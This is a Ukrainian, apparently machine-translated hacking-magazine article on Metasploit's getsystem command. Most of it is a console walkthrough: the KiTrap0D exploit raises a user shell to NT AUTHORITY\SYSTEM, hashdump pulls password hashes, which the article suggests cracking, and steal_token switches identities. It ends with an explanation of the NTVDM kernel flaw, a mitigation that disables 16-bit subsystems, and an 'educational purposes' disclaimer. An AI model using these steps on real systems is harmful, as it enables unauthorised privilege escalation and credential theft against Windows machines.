Буквально за кілька днів перед здачею номера в друк Metasploit обзавівся
свіженьким модулем, про який ми просто не могли не розповісти. завдяки
новій команді getsystem, на скомпрометованої системі стало можливо перейти
з User Level в ring0, отримавши права NT AUTHORITY \ SYSTEM! І це - в будь-яких
версіях вінди.
Операція "Захоплення системи"
Отже, у нас є доступ до віддаленої системи (наочний приклад
експлуатування наведено в статті "Операція" Аврора ") і ми знаходимося в консолі
метасплоіта. Подивимося, як у нас йдуть справи з правами:
meterpreter> getuid
Server username: WINXPSP3 \ user
Ага, звичайний користувач. Бути може, він навіть входить в групу
адміністраторів, але нам це не важливо. Підключаємо модуль, в якому реалізована
цікавить нас команда getsystem, і перевіримо, занурилася вона, відобразивши на
екрані довідку:
meterpreter> use priv
Loading extension priv. success.
meterpreter> getsystem -h
Usage: getsystem [options]
Attempt to elevate your privilege to that of local system.
OPTIONS:
-h Help Banner.
-t The technique to use. (Default to '0').
0. All techniques available
1. Service - Named Pipe Impersonation (In Memory / Admin)
2. Service - Named Pipe Impersonation (Dropper / Admin)
3. Service - Token Duplication (In Memory / Admin)
4. Exploit - KiTrap0D (In Memory / User)
Як видно, сплоіт KiTrap0D реалізує лише частину функціональності команди.
Якщо тобі вдалося відхопити шелл з користувачем, у якого вже є права
адміністратора, то для підняття до рівня NT AUTHORITY \ SYSTEM можна використовувати
три інші техніки (вибрати потрібну дозволяє ключ -t). Так чи інакше, не вказавши
взагалі ніяких параметрів, ми вкажемо метасплоіту, що той може використовувати
будь-який з підходів. У тому числі і KiTrap0D, що підвищить наші привілеї до рівня
"Система", якими б правами ми зараз не володіли.
meterpreter> getsystem
. got system (via technique 4).
Ага, отримали повідомлення про успішне підвищення привілеїв, причому для атаки
використовувався саме KiTrap0D - мабуть, у нього пріоритет. Чи справді ми
піднялися в системі? Перевіримо наш поточний UID (код користувача):
meterpreter> getuid
Server username: NT AUTHORITY \ SYSTEM
Є! Всього одна команда в консолі метасплоіта і права NT AUTHORITY \ SYSTEM у
нас в кишені. Далі, взагалі кажучи, можна все. При цьому нагадаю, жодного
патча від Microsoft на момент виходу журналу ще не було.
дампи паролі
meterpreter> getuid
Server username: NT AUTHORITY \ SYSTEM
meterpreter> run hashdump
[*] Obtaining the boot key.
[*] Calculating the hboot key using SYSKEY 3ed7 [. ]
[*] Obtaining the user list and keys.
[*] Decrypting user keys.
[*] Dumping password hashes.
Administrator: 500: aad3b435b51404eeaad3b435b51404ee.
Guest: 501: aad3b435b51404eeaad3b435b51404ee.
HelpAssistant: 1000: ce909bd50f46021bf4aa40680422f646.
Хеші отримані. Залишається згодувати їх якомусь з брутфорсер, наприклад,
l0phtcrack.
Як повернути привілеї?
Забавна ситуація сталася, коли я спробував повернути права звичайного
користувача назад. Знайдена команда rev2self не спрацював, і я як і раніше
залишався "NT AUTHORITY \ SYSTEM": мабуть, вона призначена для роботи з трьома
іншими підходами, реалізованими в getsystem. Виявилося, щоб повернути
привілеї, необхідно "вкрасти" токен процесу, запущеного тим користувачем,
який нам потрібен. Тому відображаємо всі процеси командою ps і вибираємо з них
відповідний:
meterpreter> ps
Process list
============
PID Name Arch User Path
--- ---- ---- ---- ----
0 [System Process]
4 System x86 NT AUTHORITY \ SYSTEM
370 smss.exe x86 NT AUTHORITY \ SYSTEM \ SystemRoot \ System32 \ smss.exe
.
1 558 explorer.exe x86 WINXPSP3 \ user C: \ WINDOWS \ Explorer.EXE
.
meterpreter> steal_token 1558
Stolen token with username: WINXPSP3 \ user
meterpreter> getuid
Server username: WINXPSP3 \ user
Судячи по полю "Server username", операція виконалася успішно.
Як це працює?
Наостанок варто розповісти про природу уразливості, що призвела до появи
сплоітов. Пролом у захисті виникає з вини помилки в обробнику системного
переривання #GP (який називається, nt! KiTrap). Через неї з привілеями ядра
може бути виконаний довільний код. Це відбувається, тому що система
неправильно перевіряє деякі виклики BIOS'а, коли на 32-бітної x86-платформі
виконується 16-бітове додаток. Для експлуатації уразливості сплоіт створює
16-бітове додаток (% windir% \ twunk_16.exe), маніпулює з деякими
системними структурами і викликає функцію NtVdmControl (), щоб стартувати
Windows Virtual DOS Machine (aka подсістма NTVDM), що в результаті попередніх
маніпуляцій призводить до виклику обробника системного переривання #GP і
спрацьовування сплоітов. До речі кажучи, звідси випливає і єдине обмеження
сплоітов, який спрацьовує тільки на 32-бітних системах. У 64-бітових
операционках банально немає емулятора для запуску 16-бітних додатків.
Як убезпечити себе від сплоітов
Оскільки повноцінного поновлення для вирішення уразливості поки немає,
доведеться скористатися обхідними шляхами. Найнадійніший варіант -
відключити MSDOS і WOWEXEC підсистеми, що відразу позбавить сплоіт
функціональності, тому що він більше не зможе викликати функцію NtVdmControl ()
для запуску NTVDM-системи. У старих версіях Windows це реалізується через
реєстр, в якому потрібно знайти гілку HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ WOW
і додати який-небудь символ до її назви. Для сучасних ОС
встановлювати обмеження на запуск 16-бітних додатків треба через
групові політики. Для цього викликаємо GPEDIT.MSC, далі переходимо в розділ
"Конфігурація користувача / Адміністративні шаблони / Компоненти Windows / Сумісність
додатків "і активуємо опцію" Заборона доступу до 16-розрядних
додатків ".
Інформація представлена в освітніх цілях. Використання її в
протизаконних цілях може спричинити за собою кримінальну відповідальність.